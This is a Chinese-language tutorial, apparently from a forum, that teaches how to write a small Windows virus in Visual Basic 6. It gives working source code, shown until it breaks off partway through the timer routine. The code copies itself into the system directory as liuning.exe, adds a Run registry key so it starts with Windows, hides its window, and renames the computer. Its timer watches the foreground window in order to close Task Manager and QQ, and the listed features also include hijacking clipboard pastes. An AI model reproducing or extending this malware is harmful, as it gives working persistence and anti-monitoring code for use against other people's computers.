這病毒的功能如下
1 運行時隱藏起來
2  自我復制到系統目錄下
3  WIN啟動時自我運行
5  不準重復打開這個程序
4  程序運行時不能打開任務管理器，QQ等！
6  計算機名稱改變
7  每次粘貼時，出現的是“我是甯王我怕誰,我愛你！”
首先介紹一下要用到的API吧（只說功能）
GetForegroundWindow  獲得前臺窗口的句柄
GetClassName     為指定的窗口取得類名
PostMessage       將一條消息投遞到指定窗口的消息隊列
GetWindowText    取得一個窗體的標題文字
SetComputerName  設置新的計算機名
GetSystemDirectory    取得Windows系統目錄
GetWindow        獲得一個窗口的句柄
ShowWindow      控制窗口的可見性
RegOpenKey       打開一個現有的注冊表項
RegQueryValueEx   獲取一個項的設置值
RegSetValueEx     設置指定項的值
RegCloseKey       關閉系統注冊表中的一個項
然后開始編寫！
1添加一個: Module1模塊
Option Explicit
’聲明API
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long    
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" (ByVal lpComputerName As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
’聲明常量
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const GW_OWNER = 4
Public Const SW_HIDE = 0
’在寫一個修改注冊表的子過程
Public Sub regedit(strPath As String, strKey As String, strValue As String)
Dim l As Long
Dim s As String
Dim s1 As String
Dim n As Long
Dim keyhand As Long
s = String(255, Chr(0))
s1 = String(255, Chr(0))
n = 255
l = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
 
If l = 0 Then 是否打開
    l = RegQueryValueEx(keyhand, strKey, 0, 1, ByVal s, 255) 
 If l <> 0 Then 是否也有
l = RegSetValueEx(keyhand, strKey, 0, 1, ByVal strValue, LenB(strValue))
’修改注冊表
End If
 
End If
 
l = RegCloseKey(keyhand)
’關閉
 
End Sub
2         回到FORM1雙擊窗休:
Option Explicit
Dim systempath As String
選擇LOAD事件
Private Sub Form_Load()
 
Dim K As Long
'不準重復打開這個程序
Dim title As String
If App.PrevInstance Then
title = App.title
App.title = ""
Me.Caption = ""
AppActivate title
End
End If
'--------------
'得到系統的系統目錄
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) - 1)
'自我復制到系統目錄
If Not Dir(systempath & "\" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "liuning.exe"
 
End If
'自動運行
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"
'計算機改名
SetComputerName "QQ122273014"
'隱藏
K = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow K, SW_HIDE
Timer1.Enabled = True
Me.Hide
End Sub
再添加一個TIME1控件
Private Sub Timer1_Timer()
'重點
Dim K As Long
Dim s As String
Dim s1 As String
Static n As Long
s = Space(19)
s1 = Space(19)
'得到句柄
K = GetForegroundWindow
 
'得到類名
GetClassName K, s, 20
'查看當前程序的標題
GetWindowText K, s1, 20
 
'打開的是QQ或是其它類名是#32770時關閉
If Left(s, 6) = "#32770" Then
' 打開的是WIN管理器
   If Left(s1, 7) = "Windows" Then